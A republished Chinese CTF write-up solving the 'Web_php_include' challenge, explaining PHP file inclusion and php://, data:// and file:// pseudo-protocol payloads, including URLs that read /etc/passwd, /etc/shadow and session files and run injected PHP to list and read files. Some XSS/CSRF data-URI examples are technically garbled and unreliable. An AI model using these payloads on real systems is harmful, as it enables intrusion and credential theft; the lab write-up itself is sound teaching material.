[CTF/网络安全] 攻防世界 Web_php_include 解题详析(php伪协议、data伪协议、file伪协议)

news2025/1/19 20:33:55

[CTF/网络安全] 攻防世界 Web_php_include 解题详析

    • 代码审计
    • PHP_include
    • 文件包含漏洞及伪协议Payload
      • PHP伪协议
      • 恶意 PHP 伪协议
      • data伪协议
      • 恶意 data 伪协议
      • file伪协议
      • 恶意 file 伪协议
    • 知识点及姿势
      • 读取目录路径
      • dirname(FILE)读取目录路径实例
      • 读取目录文件
      • glob读取目录文件实例
      • 读取文件内容
      • readfile读取文件内容实例
    • 总结

在这里插入图片描述

代码审计

这段代码首先通过 show_source(__FILE__) 显示当前文件的源代码，然后通过 $_GET['hello'] 显示 URL 参数中名为 hello 的值。

接下来，代码使用 $_GET['page'] 获取 URL 参数中名为 “page” 的值，并进行字符串替换，将 php:// 替换为空字符串
这是为了防止通过 URL 参数加载本地文件或其他可疑文件以实现攻击。

最后，代码使用 include($page) 加载根据 GET 参数动态指定的文件。

PHP_include

php_include 是 PHP 语言中一个重要的文件包含机制，可以将一个 PHP 文件包含到另一个 PHP 脚本文件中。该机制通常用于代码复用和模块化开发，在不同的 PHP 文件之间实现函数和类等代码的共享。

在 PHP 中，有两种文件包含机制：include 和 require。它们都可以将指定的 PHP 文件包含到当前脚本中，但两者在出错处理和返回值方面稍有不同。具体来说：

  • include：如果包含文件不存在或者出现错误，PHP 会发出警告并继续执行脚本。
  • require：如果包含文件不存在或者出现错误，PHP 会立即停止脚本执行，并抛出致命错误。

此外，还有两个特殊的文件包含机制：include_once 和 require_once。它们可以确保包含文件只被包含一次，避免重复包含和执行。

例子：

<?php
// include.php 文件内容
function add($a, $b) {
    return $a + $b;
}

// index.php 文件内容
include 'include.php'; // 包含 include.php 文件
echo add(2, 3); // 调用包含文件中的函数
?>

在上面的例子中，index.php 文件使用 include 语句包含了 include.php 文件，并调用其中定义的 add 函数，实现了代码的复用。

文件包含漏洞及伪协议Payload

文件包含漏洞（Local File Inclusion，LFI）是一种常见的 web 应用程序漏洞，攻击者利用该漏洞可以读取本地服务器上的敏感文件，或执行任意代码，从而实现对系统的控制。

PHP伪协议

PHP 伪协议是一种特殊的 URI 协议，可以绕过通常的协议限制，直接访问本地文件和执行 PHP 代码。

恶意 PHP 伪协议

以下是一些常见的Payload：

  1. 读取 /etc/passwd 文件，显示系统用户列表
http://example.com/index.php?page=/etc/passwd
  1. 读取 /etc/shadow 文件，尝试破解系统用户密码
http://example.com/index.php?page=/etc/shadow
  1. 读取当前目录下的敏感文件
http://example.com/index.php?page=../../../etc/passwd
  1. 读取 MySQL 配置文件，获取数据库连接信息
http://example.com/index.php?page=/var/www/config.php
  1. 读取 PHP Session 文件，窃取用户会话信息
http://example.com/index.php?page=/var/lib/php/sessions/sess_SESSION_ID
  1. 利用 expect 协议执行任意命令
http://example.com/index.php?page=expect://id
  1. 利用 data 协议读取 base64 编码的文件内容
http://example.com/index.php?page=data:text/plain;base64,PD9waHAgc2V0X3RpbWUoJ2hvc3QnKTsgPz4=

data伪协议

data 伪协议是一种用于内嵌数据的伪协议，它可以将数据直接嵌入到 URI 中。这种伪协议通常用于将小型的图片、音频、视频等数据内嵌到网页中，从而减少 HTTP 请求的数量，并提高页面加载速度。data URI 的语法如下：

data:[<mediatype>][;base64],<data>

其中，mediatype 是媒体类型，例如 text/plain、image/jpeg、audio/mpeg 等；如果数据需要进行 base64 编码，则在 media type 后添加 ;base64 标记；data 是实际的数据内容。

例如，下面的代码就是将一张图片内嵌到 HTML 页面中：

<img src="data:image/png;base64,iVBORw0KG..."/>

恶意 data 伪协议

  1. XSS 攻击：

攻击者可以构造如下的 data URI：

data:text/html;<script>alert('恶意脚本')</script>

将其嵌入到 web 页面中：

<iframe src="data:text/html;<script>alert('恶意脚本')</script>"></iframe>

当用户访问页面时，将会弹出一个恶意的弹窗提示框，这可能会窃取用户信息或执行其他恶意行为。

  1. CSRF 攻击：

攻击者可以构造如下的 data URI：

data:application/x-www-form-urlencoded;name=attack;action=http://example.com/transfer;method=post;<input type=hidden name=amount value=100000><input type=hidden name=to value=hacker>

将其嵌入到 web 页面中：

<img src="data:application/x-www-form-urlencoded;name=attack;action=http://example.com/transfer;method=post;<input type=hidden name=amount value=100000><input type=hidden name=to value=hacker>" />

当用户访问页面时，将会自动发起一笔转账请求，将 100000 元转账到攻击者指定的账户上。

  1. 钓鱼诈骗：

攻击者可以构造如下的 data URI：

data:text/html;<meta http-equiv=refresh content='0; url=http://example.com/login.html'>

伪装成合法网站，并将其嵌入到欺骗用户的邮件或者社交媒体中。当用户点击链接访问页面时，将会跳转到攻击者指定的网站，可能会泄漏个人隐私信息。

Payload：
Cookie外带
?page=data://text/plain,<script>alert(document.cookie)</script>

ping本地回环地址
?page=data://text/plain,<?php system("ping 127.0.0.1");?>

Base64编码绕过
?page=data://text/plain;base64,PD9waHAgZWNobyBwaHBpbmZvKCk7Pz4=
在这里插入图片描述

查看PHP info
?page=data://text/plain,<?php echo phpinfo();?>

模板
?page=data://text/plain,恶意代码

file伪协议

file 伪协议用于访问本地文件系统中的文件，可以在 web 页面中链接到本地文件，或者读取本地文件中的数据。file URI 的语法如下：

file://<host>/<path>

其中，host 表示主机名或 IP 地址（可省略），path 表示文件路径（必须以 / 开头）。例如，下面的代码就是链接到本地的 index.html 文件：

<a href="file:///var/www/html/index.html">Click me</a>

恶意 file 伪协议

file 伪协议用于指定本地文件路径，例如：

file:///C:/Users/Desktop/index.html

如果一个 web 页面使用 file 伪协议来加载本地文件，那么攻击者可以通过构造特定的文件路径，来实现一些恶意行为。

  1. 文件包含漏洞：攻击者可以将恶意代码写入到本地文件中，并将其路径构造成 file 伪协议形式，从而实现对 web 应用的攻击。例如，攻击者可以构造如下的路径：
file:///C:/Users/hacker/attack.php?parameter=<script>alert('恶意脚本')</script>
  1. 钓鱼诈骗：攻击者可以将伪装成合法网站的本地文件，例如 login.html，然后使用 file 伪协议来引用该文件，从而欺骗用户输入自己的账户信息。例如，攻击者可以构造如下的路径：
file:///C:/Users/hacker/login.html

然后将该路径作为链接的 href 属性值，发送给用户。

知识点及姿势

由于没有对 $page 变量进行足够的过滤和验证，因此可使用文件包含读取flag
Payload：?page=data://text/plain,<?php echo phpinfo();?>

在这里插入图片描述
由上图可知，data伪协议执行成功。

读取目录路径

  1. $_SERVER['DOCUMENT_ROOT']; 会返回当前运行 PHP 脚本所在的文档根目录（Document Root）的绝对路径。

  2. 使用 $_SERVER['CONTEXT_DOCUMENT_ROOT'] 变量，它返回当前运行 PHP 脚本所在上下文的文档根目录的绝对路径。

  3. 使用 dirname(__FILE__) 函数，该函数返回当前执行的 PHP 脚本所在位置的绝对路径。

  4. 使用 getcwd() 函数，该函数返回当前工作目录的绝对路径。此方法适用于在 PHP 执行期间更改当前工作目录的情况。

需要注意的是，在 PHP 7.0 及以后版本中，不再推荐使用 __FILE__ 常量，而是建议使用 __DIR__ 常量来代替 dirname(__FILE__) 函数。

如果网站根目录是 /var/www/html，则可以使用以下任意一种方式来获取网站根目录路径：

// 方法1
$rootPath = $_SERVER['DOCUMENT_ROOT'];

// 方法2
$rootPath = dirname(__FILE__);

// 方法3
$rootPath = getcwd();

// 方法4
$rootPath = $_SERVER['CONTEXT_DOCUMENT_ROOT'];

dirname(FILE)读取目录路径实例

举例如下：
Payload ?page=data://text/plain,<?php echo dirname(__FILE__);?>
在这里插入图片描述
由上图可知，dirname(FILE)返回了当前执行的 PHP 脚本所在位置的绝对路径text

Payload ?page=data://text/plain,<?php echo $_SERVER['DOCUMENT_ROOT']; ?>
在这里插入图片描述
由上图可知，$_SERVER['DOCUMENT_ROOT']; 返回了当前运行 PHP 脚本所在的文档根目录的绝对路径/var/www

读取目录文件

PHP 中一些获取目录下文件和子目录的函数：

  1. scandir('指定目录') 函数将返回指定目录中的所有文件和子目录的数组列表

  2. glob($pattern, $flags)：根据指定模式匹配获取与之匹配的文件或目录列表。$pattern 参数是一个通配符模式，支持 * 和 ? 等通配符，例如 *.txt 匹配所有以 .txt 结尾的文件。如果要获取文件和目录，可以使用 * 作为通配符。$flags 参数是一个可选参数，用于设置匹配模式和排序规则等。

  3. scanglob($directory, $pattern)：类似于 glob 函数，但是可以在指定的目录下递归搜索匹配指定模式的文件或目录。$directory 参数是要搜索的目录，$pattern 参数是要匹配的通配符模式。

glob读取目录文件实例

例如，基于代码可以打印输出目录 /var/www 下所有以 .php 结尾的文件列表：

foreach (glob("/var/www/*.php") as $file) {
    echo basename($file) . "\n";
}

基于以上代码构造POC：

?page=data://text/plain,<?php foreach (glob("/var/www/*.php") as $file){echo basename($file) . "\n";}?>

回显如下：

在这里插入图片描述

Payload?page=data://text/plain,<?php print_r(scandir('/var/www')); ?>
在这里插入图片描述由上图，回显fl4gisisish3r3.php

读取文件内容

file_get_contents($filename) 是 PHP 中一个常用的文件操作函数，它可以返回指定文件的内容
Payload：?page=data://text/plain,<?php $a=file_get_contents('fl4gisisish3r3.php'); echo $a; ?>
该Payload正确，但无回显。

猜测fl4gisisish3r3.php中字符串为HTML标签，从而被当作HTML元素来解析和显示
Payload?page=data://text/plain,<?php $a=file_get_contents('fl4gisisish3r3.php'); echo htmlspecialchars($a); ?>
在这里插入图片描述
如上图，猜测正确。

readfile读取文件内容实例

如果想使用 readfile 函数读取文件并输出到浏览器，但又希望避免浏览器解析 HTML 元素，可以使用 PHP 的 header() 函数来设置响应头，将输出内容的类型设置为纯文本格式。

下面的代码演示如何通过 readfile 函数将文件内容输出到浏览器，并避免 HTML 元素被解析：

<?php
// 设置响应头，将输出内容的类型设置为纯文本格式
header("Content-Type: text/plain");

// 使用 readfile 函数读取文件内容并输出到浏览器
readfile("fl4gisisish3r3.php");
?>

基于以上代码构造POC：?page=data://text/plain,<?php header("Content-Type: text/plain");readfile("fl4gisisish3r3.php");?>
在这里插入图片描述

总结

该题考察文件包含漏洞，涉及PHP伪协议、data伪协议、file伪协议及PHP内置函数等知识点，希望读者躬身实践。
我是秋说，我们下次见。

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/556251.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

chatgpt赋能Python-python_check_module

chatgpt赋能Python-python_check_module

Python Check Module简介 Python是一个非常流行的编程语言&#xff0c;具有易学、易用的特点&#xff0c;因此在算法、数据分析等领域广泛使用。Python Check Module是Python的一个模块&#xff0c;可以用于对Python代码进行静态分析&#xff0c;检测代码中的潜在问题&#xf…
阅读更多...
chatgpt赋能Python-python_canal

chatgpt赋能Python-python_canal

Python Canal: 让你的代码流畅无阻 Python Canal 是一个简单易用的Python 并行工具&#xff0c;可以帮助你提高应用程序的性能。它使用了现代操作系统的资源管理能力来有效地管理你的多进程和多线程应用程序&#xff0c;这可以使你的应用程序更轻松地处理大规模数据和异步任务…
阅读更多...
Python集合：让你的数据去重变得更简单！

Python集合：让你的数据去重变得更简单！

集合set是一个无序的、不可重复的元素集合。 如果你想学习自动化测试&#xff0c;我这边给你推荐一套视频&#xff0c;这个视频可以说是B站百万播放全网第一的自动化测试教程&#xff0c;同时在线人数到达1000人&#xff0c;并且还有笔记可以领取 B站讲的最详细的Python接口自…
阅读更多...
使用Win-flex bison生成一个计算器（VS2022）

使用Win-flex bison生成一个计算器（VS2022）

本文参考网页“Flex和Bison简介和Windows下使用入门”&#xff08; Flex和Bison简介和Windows下使用入门 | 码农家园 &#xff09;&#xff0c;使用Win-flex bison生成生成一个计算器&#xff08;VS2022&#xff09;。 1. 使用VS2022创建空项目 使用VS2022创建名为MyProject的…
阅读更多...
【html】制作一个能生成图片的markdown在线编辑器

【html】制作一个能生成图片的markdown在线编辑器

markdown是什么&#xff0c;为什么大家都会用它呢&#xff0c;如果你想写文章&#xff0c;写文档&#xff0c;写作&#xff0c;用markdown是最好的选择&#xff0c;它是一个很好用的文档排版工具&#xff0c;觉得好用&#xff0c;何不尝试把它弄下来做成自己的呢&#xff0c;接…
阅读更多...
面试题：如何测试登录功能

面试题：如何测试登录功能

最近在做一个创新项目&#xff0c;这个项目有二个平台&#xff0c;每个平台都有前后端&#xff0c;故有四个系统&#xff0c;每个系统都有登录功能&#xff0c;而且不同系统代码设计方式都有所差异&#xff0c;所以就这个登录功能而言就要测试四次&#xff0c;看似一个简单的登…
阅读更多...
面试官：你的技术看起来像是初级

面试官：你的技术看起来像是初级

最近看了很多简历&#xff0c;很多候选人年限不小&#xff0c;但是做的都是一些非常传统的项目&#xff0c;想着也不能通过简历就直接否定一个人&#xff0c;何况现在大环境越来 越难&#xff0c;大家找工作也不容易&#xff0c;于是就打算见一见。 在沟通中发现&#xff0c;由…
阅读更多...
信号完整性分析基础知识之传输线和反射（六）：传输线中拐角、过孔等容性负载的反射

信号完整性分析基础知识之传输线和反射（六）：传输线中拐角、过孔等容性负载的反射

测试焊盘、过孔、封装引线&#xff0c;甚至连在传输线中间的小短截线都可以充当集总电容器。下图显示了在走线中间添加电容器时的反射电压和传输电压。由于电容器最初具有低阻抗&#xff0c;因此反射回源的信号将有轻微的负下降。如果在走线的前端附近连接了一个接收器&#xf…
阅读更多...
用pip安装cartopy（windows平台），解决GEOS库的问题

用pip安装cartopy（windows平台），解决GEOS库的问题

对象&#xff1a;cartopy Cartopy官方网站介绍&#xff1a; Cartopy is a Python package designed for geospatial data processing in order to produce maps and other geospatial data analyses. Cartopy是一个Python包&#xff0c;旨在进行地理空间数据处理&#xff0c;以…
阅读更多...
Metersphere+jar+beanshell+连接linux

Metersphere+jar+beanshell+连接linux

Meterspherejarbeanshell连接linux java编写连接linux代码 使用jsch连接linux&#xff0c;下载jsch包或者使用maven <dependencies><dependency><groupId>com.jcraft</groupId><artifactId>jsch</artifactId><version>0.1.55<…
阅读更多...
小航助学GESP_C++二级模式测试试卷（含题库答题软件账号）

小航助学GESP_C++二级模式测试试卷（含题库答题软件账号）

GESP在线模拟训练系统请点击 电子学会-全国青少年编程等级考试真题Scratch一级&#xff08;2019年3月&#xff09;在线答题_程序猿下山的博客-CSDN博客_小航答题助手 答案:A 第1题人们在使用计算机时所提到的 Windows 通常指的是&#xff08;&#xff09;。 A、操作系统B、多…
阅读更多...
就业内推 | 国企中电福富专场！多地有岗，CCIE、HCIE认证优先

就业内推 | 国企中电福富专场！多地有岗，CCIE、HCIE认证优先

01 中电福富信息科技有限公司 &#x1f537;招聘岗位&#xff1a;网络工程师&#xff08;北京&#xff09; &#x1f537;职责描述&#xff1a; 1、负责云平台、数据中心网络架构的调整和性能优化&#xff0c;确保网络的性能、稳定和安全性&#xff1b; 2、对网络突发事件、网…
阅读更多...
力扣LCP 33. 蓄水

力扣LCP 33. 蓄水

LCP 33. 蓄水 给定 N 个无限容量且初始均空的水缸&#xff0c;每个水缸配有一个水桶用来打水&#xff0c;第 i 个水缸配备的水桶容量记作 bucket[i]。有以下两种操作&#xff1a; 升级水桶&#xff1a;选择任意一个水桶&#xff0c;使其容量增加为 bucket[i]1 蓄水&#xff1…
阅读更多...
JVM基础学习---2、总体机制中不重要的部分、方法区、虚拟机栈

JVM基础学习---2、总体机制中不重要的部分、方法区、虚拟机栈

1、总体机制中不重要的部分 1.1 本地接口 Native Interface 本地接口的作用是融合不同的编程语言为 Java 所用&#xff0c;它的初衷是融合 C/C程序。因为 Java 诞生的时候是 C/C 横行的时候&#xff0c;要想立足&#xff0c;必须有能力调用 C/C。于是就在内存中专门开辟了一块…
阅读更多...
PCB~电磁干扰

PCB~电磁干扰

电磁辐射 • 两个主要的电磁来源 • 电流穿过一个金属会产生一个磁场 • 在磁场中放置一个磁场会产生感应电流 • 导体的形状会影响流经它的电流所产生的磁场强度&#xff0c;反之变然 EMI&#xff1a;电磁干扰 • EMI:Electro-Magnetic Interference • EMI代表的是一个设…
阅读更多...
自动构建之CMake

自动构建之CMake

CMake 链接: 自动构建之MakeFile CMake也是一种用于自动化构建软件项目的工具。Cmake可以自动输出MakeFile文件&#xff0c;并且CMake是一个跨平台的构建系统&#xff0c;对于复杂的、跨平台的项目&#xff0c;CMake可能是一个更好的解决方案。 CMake的脚本文件是在CMakeLis…
阅读更多...
chatgpt赋能Python-python_can

chatgpt赋能Python-python_can

Python-CAN: 一个用于控制CAN总线通信的Python工具 什么是CAN总线&#xff1f; Controller Area Network&#xff08;CAN&#xff09;是用于控制器之间通信的一种通信协议。它经常用于汽车、工业自动化和机器人等领域。CAN总线可以连接多个设备&#xff0c;这些设备可以通过总…
阅读更多...
离谱，入职比亚迪一个月，我算是开眼了..

离谱，入职比亚迪一个月，我算是开眼了..

去年校招寒冬很多人都收到BYD的offer&#xff0c;看多了把BYD当爷爷拜的分享了&#xff0c;这里我就做个坏人来泼盆冷水。 以下情况仅仅适用于我从同部门同事和室友了解到的&#xff0c;至于这种情况适不适用于整个厂&#xff0c;就看各位怎么理解了。 当然也不是硬黑硬洗&am…
阅读更多...
力扣sql中等篇练习(二十四)

力扣sql中等篇练习(二十四)

力扣sql中等篇练习(二十四) 1 商店中每个成员的级别 1.1 题目内容 1.1.1 基本题目信息1 1.1.2 基本题目信息2 1.1.3 示例输入输出 a 示例输入 b 示例输出 1.2 示例sql语句 SELECT m.member_id,m.name,case when t.r is null then Bronzewhen t.r>0 AND t.r<50 then …
阅读更多...
使用CMake+vcpkg生成VS2022工程——以开源库openMVS为例

使用CMake+vcpkg生成VS2022工程——以开源库openMVS为例

使用CMakevcpkg生成VS2022工程——以开源库openMVS为例 背景 想在openMVS应用的基础上做一些改造&#xff0c;于是下载了其开源代码。为了改造它&#xff0c;首先要了解程序执行流程&#xff0c;要是能在VS里以debug模式来运行就好了&#xff01; 过去接触的开源软件/库的编译…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023